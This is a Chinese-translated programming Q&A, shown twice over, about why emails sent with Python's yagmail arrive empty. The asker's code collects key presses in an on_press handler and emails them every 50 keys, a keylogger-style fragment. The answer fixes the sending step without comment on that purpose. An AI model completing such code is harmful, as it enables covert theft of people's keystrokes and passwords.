Python - 使用带有列表的 YAGMAIL 发送邮件
Python - Sending mails using YAGMAIL with lists
所以我想在 Python 中使用 yagmail 发送邮件,我有一个数组或列表要发送。当我收到邮件时,里面没有任何内容。这是为什么?
import yagmail
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
def send(keys):
print('test')
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', listToStr)
def on_press(key):
global keys, count
count += 1
if count >= 50:
count = 0
send(keys)
keys = []
因此在通过 yagmail
发送电子邮件之前,您需要了解一些事情:
yagmail
是 smtplib
之上的包装库,它是通过 python. 发送电子邮件的标准库
- 您可以发送
Plain Text Email
或 HTML emails
。你的案例看起来更像 Plain text email
.
因此,通过 yagmail
发送邮件在功能上应该与 smtplib
没有区别。
那么,代码大概应该是这样的:
import yagmail
keys = ['a','b','c','d']
listToStr = ' '.join([str(elem) for elem in keys])
message = """\
Subject: Hi there. My list is {}.
This message is sent from Python."""
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', message.format(listToStr))
这应该发送一封纯电子邮件,其中 message
和 {}
中的文本替换为
listToStr
.
尝试以上方法,然后在方法中分解您的代码以实现您的功能。
所以我想在 Python 中使用 yagmail 发送邮件,我有一个数组或列表要发送。当我收到邮件时,里面没有任何内容。这是为什么?
import yagmail
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
def send(keys):
print('test')
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', listToStr)
def on_press(key):
global keys, count
count += 1
if count >= 50:
count = 0
send(keys)
keys = []
因此在通过 yagmail
发送电子邮件之前,您需要了解一些事情:
yagmail
是smtplib
之上的包装库,它是通过 python. 发送电子邮件的标准库
- 您可以发送
Plain Text Email
或HTML emails
。你的案例看起来更像Plain text email
.
因此,通过 yagmail
发送邮件在功能上应该与 smtplib
没有区别。
那么,代码大概应该是这样的:
import yagmail
keys = ['a','b','c','d']
listToStr = ' '.join([str(elem) for elem in keys])
message = """\
Subject: Hi there. My list is {}.
This message is sent from Python."""
yag = yagmail.SMTP('myactualmailishere', 'myactualpassishere')
yag.send('myactualrecieverishere', 'Test', message.format(listToStr))
这应该发送一封纯电子邮件,其中 message
和 {}
中的文本替换为
listToStr
.
尝试以上方法,然后在方法中分解您的代码以实现您的功能。